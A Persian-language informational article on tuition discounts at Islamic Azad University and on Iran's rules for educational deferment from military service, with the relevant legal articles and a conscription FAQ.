البته در این میان مسئولان دانشگاه آزاد اسلامی طی هفته‌های اخیر اظهارات و اخبار خوشحال‌کننده‌ای در این رابطه مطرح کرده‌اند؛ علی‌اکبر ولایتی رئیس هیات امنای این دانشگاه ۲۰ تیرماه در گردهمایی مسئولان بسیج دانشجویی دانشگاه‌های آزاد با اشاره به اینکه بیش از ۹۰ درصد هزینه‌های جاری و عمرانی دانشگاه آزاد اسلامی از محل شهریه دانشجویان تامین می‌شود که این هزینه‌ها را خانواده‌ها به سختی پرداخت می‌کنند، گفت: «از مهر امسال شهریه‌های دانشگاه آزاد اسلامی متناسب با شرایط اقتصادی هر منطقه تعدیل می‌شوند.»
از سوی دیگر ۱۹ تیرماه بود که علی‌محمد نوریان سرپرست دانشگاه آزاد اسلامی از تخفیف شهریه به استعدادهای درخشان کشور در مناطق محروم و اختصاص بورسیه به تمامی نخبگان خبر داد. همین موضوع بهانه خوبی است که به تخفیف‌های شهریه که یک دانشجو می‌تواند از آن استفاده کند بپردازیم؛ این تخفیف‌ها با توجه به بخشنامه‌ای که در سال ۹۴ به واحدها ابلاغ شده، مورد بررسی قرار گرفته است.
اگر از تخفیف‌های خاص برخی از واحد بگذریم طبق آن چیزی که از سوی دانشگاه آزاد اسلامی اعلام شده است، نزدیک به ۱۲ مورد است که هر دانشجو می‌تواند از تخفیف‌های شهریه‌ای استفاده کند.

دانشجویان ممتاز علمی
این دانشجویان اگر موفق به دریافت رتبه اول تا سوم ورودی هر رشته مقطع و در هر سال تحصیلی باشند نیز می‌توانند از تخفیف‌های دانشجویی استفاده کنند.
کاردانی و کارشناسی پیوسته و ناپیوسته: در هیچ درسی نمره کمتر از ۱۲ نداشته و میانگین نمرات در رشته‌های فنی و مهندسی و علوم‌پزشکی ۱۷، علوم پایه و کشاورزی ۱۸، علوم انسانی و هنر از ۱۹ کمتر نباشد.
کارشناسی‌ارشد: در هیچ درسی نمره کمتر از ۱۴ نداشته و میانگین نمرات در رشته‌های فنی و مهندسی و علوم‌پزشکی ۱۶، علوم‌پایه و کشاورزی ۱۷، علوم‌انسانی، هنر و پزشکی از ۱۸ کمتر نباشد.
دکتری: در هیچ درسی نمره کمتر از ۱۴ نداشته و میانگین نمرات کمتر از ۱۶ نباشد.

نفرات برتر آزمون‌ها
این تخفیف‌ها با توجه به رتبه داوطلبان، گروه آزمونی و مقطع تحصیلی متفاوت است که به‌طور نسبی به ۳۰ نفر برتر آزمون‌ها از ۱۵ تا ۲۵ درصد تخفیف ارائه می‌شود. البته این ماده شامل پذیرفته‌شدگان مقطع دکتری تخصصی نمی‌شود. همچنین سقف مجاز اعطای تخفیف برای واجدین شرایط این ماده در مقاطع کارشناسی پیوسته هشت نیمسال، کارشناسی‌ارشد چهار نیمسال و برای دکتری حرفه‌ای ۱۰ نیمسال است. در صورتی‌که دانشجویان مشمول این ماده در هر نیمسال از دوره تحصیلی خود مشروط شوند از نیمسال بعد مشمول اعطای تخفیف نخواهند بود.

دانشجویان قهرمان
این تخفیف یکی از موارد وسوسه‌انگیز دانشگاه آزاد اسلامی است، که از پنج تا ۱۰۰ درصد متغیر است! قهرمانی استانی تا ۱۵ درصد، قهرمانی کشوری تا ۲۵ درصد، مسابقات سراسری دانشگاه آزاد اسلامی، المپیاد دانشجویی کشور تا ۳۰ درصد، مسابقات بین‌المللی تا ۸۰ درصد و المپیک و پارالمپیک تا ۱۰۰ درصد از جمله این موارد است.

دانشجویان قاری و حافظ قرآن کریم
این تخفیف شهریه‌ای نیز از پنج تا ۳۰ درصد متغیر است، به‌طوری که دانشجویانی که در رشته‌های حفظ و ترجمه فارسی قرآن‌کریم و قرائت در مسابقات یا جشنواره‌های قرآن و عترت داخلی یا خارجی حائز رتبه می‌شوند می‌توانند از این تخفیف‌ها استفاده کنند. زمان اعطای تخفیف شهریه، اولین نیمسال تحصیلی پس از احراز رتبه و دریافت گواهی و تاییدیه مربوطه است و کانون قرآن و عترت واحد باید آن را تایید کند.

پژوهشگران
این تخفیف نیز یکی از مواردی است که دانشجویان فعال در حوزه پژوهشی می‌توانند تا سقف ۳۵ درصد از آن استفاده کنند؛ چاپ مقاله در همایش‌ها و مجلات معتبر، ترجمه، تالیف و گردآوری کتاب و رتبه‌های اول تا سوم مسابقات علمی از این دست موارد است.

چند دانشجویی
این تخفیف نیز برای خانواده‌هایی که همزمان بیش از یک دانشجوی شاغل به تحصیل در دانشگاه آزاد اسلامی دارند و توان پرداخت شهریه را به صورت کامل ندارند، است. این تخفیف که دارای شرایط خاص است از پنج تا ۲۵ درصد به دانشجویان تخفیف شهریه ارائه می‌دهد.

دیگر تخفیف‌ها
جدا از موارد گفته شده تخفیف‌های دیگری نیز هست که برای برخی از دانشجویان می‌تواند قابل تامل باشد؛ طرح‌های کارآفرینی تا سقف ۳۰ درصد، نفرات برتر مسابقات فرهنگی‌هنری تا سقف ۲۰ درصد و اعضای خانواده کارکنان و اعضای هیات‌علمی دانشگاه آزاد اسلامی از دیگر موارد است.

قوانین معافیت تحصیلی

قوانین معافیت تحصیلی برای دانش آموزان به شرح ذیل می باشد:
 
ماده ۳۱ : دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده ۳۳ : صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
تبصره ۱: حداکثر معافیت تحصیلی برای دانش‌آموزان تا سن بیست سال تمام و در هر یک از مقاطع تحصیلی کاردانی دو و نیم سال، کارشناسی ناپیوسته و کارشناسی‌ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال و کارشناسی ارشد پیوسته شش سال، دکترای پزشکی پیوسته هشت سال و دکترای تخصصی شش سال است.
 
ماده ۳۴ : دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره ۱: مهلت معرفی مشمولین مذکور حداکثر یک سال پس از تاریخ انصراف، ترک تحصیل و اخراج و فراغت از تحصیل است.
 
 تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
*معافیت تحصیلی خارج از کشور
 
ماده ۳۱: دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده ۳۳: صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
تبصره ۱: حداکثر معافیت تحصیلی برای دانش‌آموزان تا سن بیست سال تمام و در هر یک از مقاطع تحصیلی کاردانی دو و نیم سال، کارشناسی ناپیوسته و کارشناسی‌ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال و کارشناسی ارشد پیوسته شش سال، دکترای پزشکی پیوسته هشت سال و دکترای تخصصی شش سال است.
 
تبصره ۲: در مواقع ضروری با تشخیص و اعلام کمیسیون موارد خاص دانشگاه‌های مربوط حداکثر یک سال به مدت فوق اضافه می‌شود.
 
ماده ۳۴: دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره۲: مشمولینی که با داشتن معافیت تحصیلی در خارج از کشور تحصیل می‌کنند، پس از ترک تحصیل یا اخراج یا انصراف یا فراغت از تحصیل، موظفند برای رسیدگی به وضع مشمولیت خود حداکثر ظرف یک سال خود را به نمایندگی جمهوری اسلامی ایران در خارج از کشور معرفی نمایند.
 
تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
ماده ۳۵: مشمولین دیپلم که حداکثر یک سال پس از فراغت از تحصیل در یکی از دانشگاه‌ها و مؤسسات آموزش عالی داخل یا خارج از کشور که مورد تأیید وزارتخانه‌های علوم و بهداشت می‌باشند پذیرفته شوند تا زمانی که وفق تبصره (۱) ماده (۳۳) به تحصیل اشتغال دارند، می‌توانند مشروط به اینکه دارای غیبت غیر موجه نباشند از معافیت تحصیلی استفاده نمایند. این معافیت برای هر مقطع فقط یک بار داده می‌شود.
 
تبصره ۱: معافیت تحصیلی دانشجویان انصرافی در طول مدت تحصیل فقط یک بار قابل تمدید است.
 
تبصره ۲: ترخیص کارکنان وظیفه بدون غیبت اولیه در حین خدمت جهت ادامه تحصیل در مقاطع کارشناسی و بالاتر به جز در زمان‌های اضطراری و جنگ بلامانع است.
 
ماده ۳۶: مشمولین دارای مدرک کارشناسی و بالاتر و معادل آن در حوزه‌های علمیه علاقمند به تحصیل در خارج از کشور در صورتی که از نظر مقررات این قانون و وزارتخانه‌های علوم و بهداشت، حائز شرایط ادامه تحصیل در خارج از کشور باشند و دانشگاه‌ها و رشته‌های آنها مورد تأیید وزارتخانه‌های فوق باشد، می‌توانند با سپردن تضمین‌های لازم با استفاده از مقررات این قانون برای تحصیل به خارج از کشور مسافرت نمایند.
 
ماده ۳۷: ایرانیان مقیم خارج از کشور، فرزندان مامورین ثابت دولت جمهوری اسلامی ایران در خارج از کشور و همچنین کسانی که قانوناً تحت کفالت، یا ولایت قانونی آنها می‌باشند، چنانچه در حین تحصیل در مدارس ایرانی مستقر در خارج از کشور و یا مؤسسات آموزشی کشورهای خارج مورد تأیید آموزش و پرورش و طلاب حوزه‌های علمیه مورد تأیید شورای عالی حوزه‌های علمیه به سن مشمولیت برسند از معافیت تحصیلی بهره‌مند می‌گردند و ادامه تحصیل آنان تا سقف یک سال پس از فراغت از تحصیل در دانشگاه‌ها و مراکز آموزش عالی خارج از کشور که مورد تأیید وزارتخانه‌های علوم یا بهداشت هستند بلامانع می‌باشد.
 
*معافیت تحصیلی طلاب علوم دینی
 
ماده ۳۱: دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده۳۲: طلاب علوم دینی که قبل از رسیدن به سن مشمولیت و یا اعزام هم طبقه خود طبق ضوابط مرکز مدیریت حوزه‌های علمیه یا نمایندگان رسمی آن و یا با مجوز رسمی شورای عالی حوزه‌های علمیه در شهرستان‌ها به تحصیل اشتغال ورزند در مدت تحصیل می‌توانند از مزایای ماده ۳۱ قانون استفاده کنند. ارزشیابی میزان تحصیل با شورای مدیریت و یا نماینده آن خواهد بود.
 
تبصره: مشمولان دیپلمه که دوره سطح و یا حداقل ۶ سال دوره خارج را گذرانده باشند به ترتیب همانند مشمولان لیسانس و دکتر خواهند بود و چنانچه بدون دیپلم دوره‌های مذکور را گذرانده باشند همانند مشمولان فوق دیپلم و فوق لیسانس می‌باشند و در هر صورت طلابی که به درجه اجتهاد نایل گردند همانند مشمولین دکترا می‌باشند.
 
ماده ۳۳: صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
بخشنامه:
۱-افراد دارای مدرک تحصیلی زیر دیپلم قبل از سن مشمولیت ، مجاز به تحصیل در حوزه علمیه می باشند.
 
۲- مشمول دارای مدرک دیپلم یا پیش دانشگاهی که هنوز وارد غیبت نگردیده است ، مجاز به شروع به تحصیل در حوزه علمیه می باشد.
 
۳-کلیه مشمولان فوق دیپلم تا دکتری پس از فراغت از تحصیل ، به شرط نداشتن غیبت و با رعایت شرایط سنی زیر می توانند به طور تمام وقت در حوزه های علمیه تحصیل نموده و از معافیت تحصیلی برخوردار شوند.
 
۱/۳-سن مشمولان فوق دیپلم حداکثر ۲۲ سال تمام باشد.
۲/۳-سن مشمولان لیسانس حدکثر ۲۴ سال تمام می باشد.
۳/۳-سن مشولان فوق لیسانس حداکثر ۲۸ سال تمام باشد.
۴/۳-سن مشمولان دکتری حداکثر ۳۰ سال تمام باشد.
 
۴-ترخیص سربازان حین خدمت فارغ التحصیل مقطع دیپلم و بالاتر به شرط نداشتن غیبت اولیه،(و رعایت شرط سنی برای سربازان فوق دیپلم تا دکتری) برای ادامه تحصیل در حوزه های علمیه بلامانع است،لذا سربازان حین خدمت می بایست ابتدا توسط وظیفه عمومی محل سکونت ترخیص شوند و پس از ثبت ترخیص از خدمت ، مجاز به استفاده از معافیت تحصیلی می باشند.
 
۵-دانشجویان انصرافی از دانشگاهها در صورت نداشتن غیبت و حداکثر تا یک سال پس از انصراف،‌مجاز به ادامه تحصیل در حوزه علمیه می باشند.
 
۶-سنوات تحصیلی مجاز برای طلاب حوزه های علمیه تشیع:
الف-سطح۱:حداکثر ۹ سال (معادل کاردانی)
ب-سطح ۲:حدکاثر ۶ سال (معادل کارشناسی)
ج-سطح ۳: حداکثز ۳ سال (معادل کارشناسی ارشد)
 
د-سطح۴(معادل دکتری): حداکثر ۱۲ سال (۸ سال تحصیل+۴سال تدوین پایان نامه) ،ضمنا مادامی که مرکز مدیریت حوزه علمیه قطع رابطه تحصیلی آنان را اعلام نکند همچنان از معافیت تحصیلی استفاده خواهند نمود.
 
تبصره۱:مشمولان فوق دیپلم تا دکتری که برابر شرایط ، معافیت تحصیلی حوزوی اخذ می نمایند می بایست سطح یک را حداکثر ظرف مدت۷ سال به اتمام برسانند و در غیر اینصورت مجاز به ادامه تحصیل در مقاطع بعدی نیستند.
 
تبصره۲: چنانچه طلاب سطح ۲و۳ ، در طرح هجرت روحانیون شرکت کرده یا به عنوان ائمه جمعه و جماعت قضاوت ،تدریس و تبلیغ مشمول خدمت شده باشند مدت خدمت فوق با تایید مرکز مدیریت حوزه علمیه ، به مدت تحصیل آنان اضافه می شود.
 
۷-سنوات تحصیلی مجاز برای طلاب مدارس علوم دینی اهل سنت:
الف-سطح مقدمات: حداکثر تا۲۰ سالگی تمام (معادل دیپلم)
ب-سطح۱:حداکثر۴ سال (معادل کاردانی)
ج-سطح۲:حداکثر ۴سال (معادل کارشناسی)
 
۸- برای طلاب مشغول به تحصیل در حوزه و مدارس علوم دینی ، پس از اتمام هر سطح می بایست برگ آخرین وضعیت تحصیلی طلاب حوزه های علمیه که حسب مورد توسط مرکز مدیریت حوزه علمیه یا دفتر نمایندگی امور اهل سنت تکمیل شده ، به دفاتر پلیس+۱۰ ارائه گردد و پس از ثبت درخواست معافیت تحصیلی ، معافیت تحصیلی جدید برای سطوح بعدی به شرط عدم ورود به غیبت صادر و به مشمول تحویل می گردد.
 
۹-افرادی که به سن مشمولیت رسیده اند و در سن مشمولیت از دبیرستان یا دانشگاه ترک تحصیل و اخراج شده اند، تا پایان خدمت مجاز به تحصیل در حوزه علمیه نمی باشند. (ولی چنانچه ترک تحصیل یا اخراج قبل از ورود به سن مشمولیت باشد مانع شروع به تحصیل در حوزه قبل از سن مشمولیت نمی باشد.)
 
۱۰-پزشکی:رسیدگی به درخواست معافیت پزشکی طلاب در حین تحصیل در حوزه (بدون نیاز به ابطال معافیت تحصیلی) بلامانع است و پس از صدور کارت معافیت پزشکی ، معافیت تحصیلی باطل می شود. در رسیدگی به معافیت پزشکی طلاب ازنظر مقطع تحصیلی ،با طلاب شاغل به تحصیل در سطح مقدمات همانند مشمولان دیپلم و با طلاب شاغل به تحصیل در سطح یک و بالاتر همانند مشمولان فوق دیپلم و بالاتر رفتار می شود.
 
 
ماده ۳۴: دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره ۱: مهلت معرفی مشمولین مذکور حداکثر یک سال پس از تاریخ انصراف، ترک تحصیل و اخراج و فراغت از تحصیل است.
 
تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
*معافیت تحصیلی دانشجویان
 
ماده ۳۱: دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده ۳۳: صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
تبصره ۱: حداکثر معافیت تحصیلی برای دانش‌آموزان تا سن بیست سال تمام و در هر یک از مقاطع تحصیلی کاردانی دو و نیم سال، کارشناسی ناپیوسته و کارشناسی‌ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال و کارشناسی ارشد پیوسته شش سال، دکترای پزشکی پیوسته هشت سال و دکترای تخصصی شش سال است.
 
تبصره ۲: در مواقع ضروری با تشخیص و اعلام کمیسیون موارد خاص دانشگاه‌های مربوط حداکثر یک سال به مدت فوق اضافه می‌شود.
 
ماده ۳۴: دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره ۱: مهلت معرفی مشمولین مذکور حداکثر یک سال پس از تاریخ انصراف، ترک تحصیل و اخراج و فراغت از تحصیل است.
 
تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
ماده ۳۵: مشمولین دیپلم که حداکثر یک سال پس از فراغت از تحصیل در یکی از دانشگاه‌ها و مؤسسات آموزش عالی داخل یا خارج از کشور که مورد تأیید وزارتخانه‌های علوم و بهداشت می‌باشند پذیرفته شوند تا زمانی که وفق تبصره (۱) ماده (۳۳) به تحصیل اشتغال دارند، می‌توانند مشروط به اینکه دارای غیبت غیر موجه نباشند از معافیت تحصیلی استفاده نمایند. این معافیت برای هر مقطع فقط یک بار داده می‌شود.
 
تبصره ۱: معافیت تحصیلی دانشجویان انصرافی در طول مدت تحصیل فقط یک بار قابل تمدید است.
 
تبصره ۲: ترخیص کارکنان وظیفه بدون غیبت اولیه در حین خدمت جهت ادامه تحصیل در مقاطع کارشناسی و بالاتر به جز در زمان‌های اضطراری و جنگ بلامانع است.
 
در ادامه پاسخ سوالات متداول مشمولان خدمت سربازی درباره معافیت تحصیلی را می‌خوانید:
 
۱- از چه تاریخی مشمولان وارد سن مشمولیت می شوند؟
جواب :  تمام افراد ذکور ایرانی که به سن ۱۸ سالگی تمام می رسند از اول ماه تولد که طی آن ماه وارد ۱۹ سالگی می شوند مشمول قانون وظیفه عمومی می گردند .وتاشش ماه فرصت دارند خودرابه سازمان معرفی نمایند.
 
۲- حداکثر زمان معرفی مشمولانی که قبل از سن مشمولیت فارغ التحصیل ، ترک تحصیل یا اخراج می شوند چه مدت می باشد؟
 جواب : حداکثر مدت معرفی ایشان ۶ ماه پس از رسیدن به ۱۸ سالگی تمام است .
مثال: دانش آموز متولد ۱۸/۲/۷۳ که قبل از ۱/۲/۹۱ فارغ التحصیل ، انصراف ، ترک تحصیل یا اخراج از تحصیل شده باشد حد اکثر تا ۱۸/۸/۹۱ فرصت معرفی خود را دارد.
 
۳- حداکثر زمان معرفی مشمولانی که پس از سن مشمولیت ، فارغ التحصیل، انصراف، ترک تحصیل یا اخراج می شوند چه مدت می باشد؟
جواب : از تاریخ فراغت ، اخراج یا ترک تحصیل یکسال فرصت دارند تا خود را معرفی نمایند.
 مثال: دانش آموز متولد ۱۸/۲/۷۳ که در تیرماه ۱۳۹۱ فارغ التحصیل، انصراف ، ترک تحصیل ویااخراجی محسوب شوند تاپایان تیر ماه ۹۲ مهلت معرفی خواهد داشت.
از تاریخ فراغت ، اخراج یا ترک تحصیل یکسال فرصت دارند تا خود را معرفی نمایند.
(جهت ایجاد تسهیلات برای این قبیل مشمولان ، برای شرکت در آزمون دانشگاهها ،تا ۳۱/۶/سال بعد از فراغت از تحصیل مهلت معرفی دارند.)
 
 ۴- دانش آموزانی که از مهر۹۱ در پایه اول مقطع متوسطه یا پایین تر شروع به تحصیل  نموده اند تا چه زمانی مجاز به تحصیل خواهند بود؟
جواب :  اینگونه مشمولان حداکثر تاپایان ۲۰ سالگی مجازند برابر ضوابط وزارت آموزش و پرورش ادامه تحصیل دهند ، رشته های تحصیلی تاثیری در این مدت زمان نخواهند داشت.
 
۵-   دانش آموزی که از مهر ۹۱ در پایه دوم یا بالاتر شروع به تحصیل نموده اند تا چه زمانی مجاز به تحصیل خواهند بود؟
جواب : چنانچه در رشته ی کاردانش یا فنی حرفه ای به تحصیل اشتغال دارند حداکثر تا پایان ۲۲سالگی ورشته های مختلف پیش دانشگاهی حداکثر تا ۲۴ سالگی مجاز به تحصیل خواهند بود.
 
۶- آیا دانش آموزانی که درورود به سن مشمولیت در مقطع راهنمایی به تحصیل اشتغال دارند حق ادامه تحصیل خواهند داشت ؟
جواب : بله درصورت پیوستگی تحصیلی حداکثر تاپایان ۲۰ سالگی میتوانند تحصیل نمایند.
 
 ۷- آیا دانش آموزان درمهلت یکساله معرفی پس از فراغت ،اخراج، انصراف یا ترک تحصیل می توانند ادامه تحصیل دهند؟
جواب : اینگونه مشمولان می توانند بدون صدور معافیت تاپایان مهلت یکساله وپس از معرفی تاموعد اعزام خود ادامه تحصیل بدهند
مثال : دانش آموزمتولد ۱۵/۸/۷۰ که در مهر ۹۱ درپایه دوم کاردانش شروع به تحصیل نماید می تواند خود را به وظیفه عمومی معرفی نماید چنانچه مشمول مذکور تا ۱۵/۸/۹۲ فارغ التحصیل نشده می تواند بدون صدور معافیت تحصیلی حداکثر تا۱۵/۸/۹۳به تحصیل ادامه دهد وپس از این تاریخ ۱۵/۸/۹۳ درصورت عدم معرفی وارد غیبت خواهد شد.
 
۸ – آیا به مشمولانی که به صورت داوطلب آزاد تحصیل می کنند معافیت تحصیلی تعلق می گیرد؟
جواب : خیر اینگونه مشمولان حق استفاده از معافیت تحصیلی را نخواهند داشت وشروع به تحصیل داوطلب آزاد به عنوان انصراف از تحصیل تلقی می گردد.
 
۹-  متولدین سه ماه اول سال ۷۱ در سال های قبل که در خرداد ماه سال ۹۰ فارغ التحصیل  شده اند تاچه زمان مهلت معرفی خود به وظیفه عمومی را  داشته اند ؟
جواب :دانش آموزان تا۱۸/۸/۹۰ (قبل از اجرای قانون جدید وظیفه عمومی )فرصت معرفی داشته اند درصورت عدم معرفی از تاریخ ۱۹/۸/۹۰ واردغیبت شده اند .
 
-۱۰  متولدین سه ماهه دوم سال ۷۱ در سال قبل که درخرداد ماه سال ۹۰ فارغ التحصیل شده اند تا چه زمان فرجه معرفی خود به وظیفه عمومی را دارند؟
جواب :  اینگونه دانش آموزان با توجه به اینکه فرصت معرفی ایشان ۱۸/۹/۹۰ بود ( بعد از اجرای قانون جدید وظیفه عمومی) فلذا از یک سال مهلت تعیین در قانون جدید برخوردار بوده وتا خرداد ۹۱ مهلت معرفی خواهند داشت.
 
۱۱- با عنایت به اجرای قانون جدید وظیفه عمومی ، موضوع تمدید مهلت اعزام متولد نیمه دوم سال چگونه خواهد بود؟
جواب :  با اجرای قانون جدید موضوع تمدید مهلت اعزام اینگونه  مشمولان منتفی می باشد .
 
۱۲- موعدمعرفی دانش آموزانی که قبل  از ۲۲/۴/۹۰ از تحصیل انصراف  داده ، ترک تحصیل کرده یا اخراج شده اند چگونه است؟
 جواب :اینگونه مشمولان چنانچه حد اکثر ظرف مدت ۴ ماه از تاریخ وقوع خود را معرفی نکرده باشند غایب محسوب می شوند ومی بایست
سریعا  خود را به وظیفه  عمومی معرفی نماید.
  مثال: دانش آموزی که در تاریخ ۱/۳/۹۰ ترک تحصیل یا اخراج شده باشد ، با لحاظ مهلت ۴ ماهه حداکثر تا۱/۷/۹۰ مهلت معرفی داشته فلذا ازآن تاریخ وارد غیبت گردیده ومی بایست سریع خود سریعا خود را به به وظیفه عمومی معرفی نمایند.
 
۱۳- موعد معرفی دانش آموزان انصرافی ، ترک تحصیل ویا اخراجی که آخرین موعد معرفی ایشان به لحاظ مهلت ۴ ماهه بعداز تاریخ ۲۲/۸/۹۰(تاریخ اجرای قانون  جدید وظیفه عمومی) بوده چه زمانی می باشد؟
جواب :اینگونه  دانش آموزان از تاریخ وقوع انصراف ، ترک تحصیل و یا اخراج  یک سال مهلت معرفی خواهند داشت.
 مثال: مشمول متولد ۱۵/۰۶/۷۱ که در تاریخ ۲۲/۶/۹۰ از تحصیل انصراف داده است باتوجه به -مهلت ۴ ماهه قانون قدیم وظیفه عمومی تا ۲۲/۱۰/۹۰ فرجه معرفی داشته که این تاریخ بعداز تاریخ اجرای قانون جدید وظیفه عمومی بوده ، فلذا مشمول تا۲۲/۶/۹۱ مهلت معرفی خواهد داشت.
 
۱۴- مشمولان فارغ التحصیل دانشگاه ها از چه تاریخ می توانند از مهلت ۱ ساله پس از فراغت خود استفاده نمایند؟
جواب :مشمولانی که از تاریخ ۲۲/۲/۹۰ به بعد در مقاطع تحصیلی در دانشگاه فارغ التحصیل شده اند حق استفاده از مهلت ۱ ساله را خواهند داشت.
 
۱۵- مشمولان اخراجی،انصرافی،ترک تحصیل ازچه تاریخ درشمول استفاده ازمهلت۱ساله پس ازتاریخ وقوع انصراف،ترک تحصیل،اخراج قرار می گیرند؟
جواب :مشمولانی که از تاریخ ۲۲/۴/۹۰ به  بعد از تحصیل در مقاطع  دانشگاهی انصراف، ترک تحصیل و یا اخراج شده باشند .
 
 ۱۶- آیا دانشجویان انصرافی حق تحصیل مجدد را دارند؟
 جواب :بلی . مشمولان در طی مدت تحصیل از دیپلم تا دکتری صرفا ۱ بار می توانند از تحصیل انصراف و مجددا با پذیرفته شدن در دانشگاه به شرط : ۱- عدم گذشت بیش از یکسال از تاریخ انصراف (قبل از اعزام به خدمت). ۲- انصراف قبل از اتمام سنوات تحصیلی مصوب بوده باشد یعنی در سنوات ارفاقی نباشد .۳-انصراف از تحصیل در مقطع ، با اخذ مدرک تحصیلی پایین تر نبوده باشد .(مثلا انصراف از کارشناسی پیوسته با اخذ مدرک کاردانی نباشد، مگر اینکه مدرک اخذ شده در سنوات مجاز تحصیل همان مقطع یعنی مقطع پایین تر به مشمول تعلق گرفته باشد که در این صورت در حکم فارغ التحصیل محسوب شده و ادامه تحصیل وی بلامانع می باشد)۴- مقطع جدید ،تکراری نباشد.(یعنی قبلا از این مقطع فارغ التحصیل نشده باشد.)
 
۱۷- مشمولان فارغ التحصیل از مقطع متوسطه تا چه زمان می توانند در دانشگاه پذیرفته وثبت نام نمایند؟
جواب :چنانچه حداکثر ظرف مدت یکسال از زمان فارغ التحصیل شدن درمقطع دیپلم یاپیش دانشگاهی دردانشگاه پذیرفته شوندمجازبه تحصیل خواهند بود
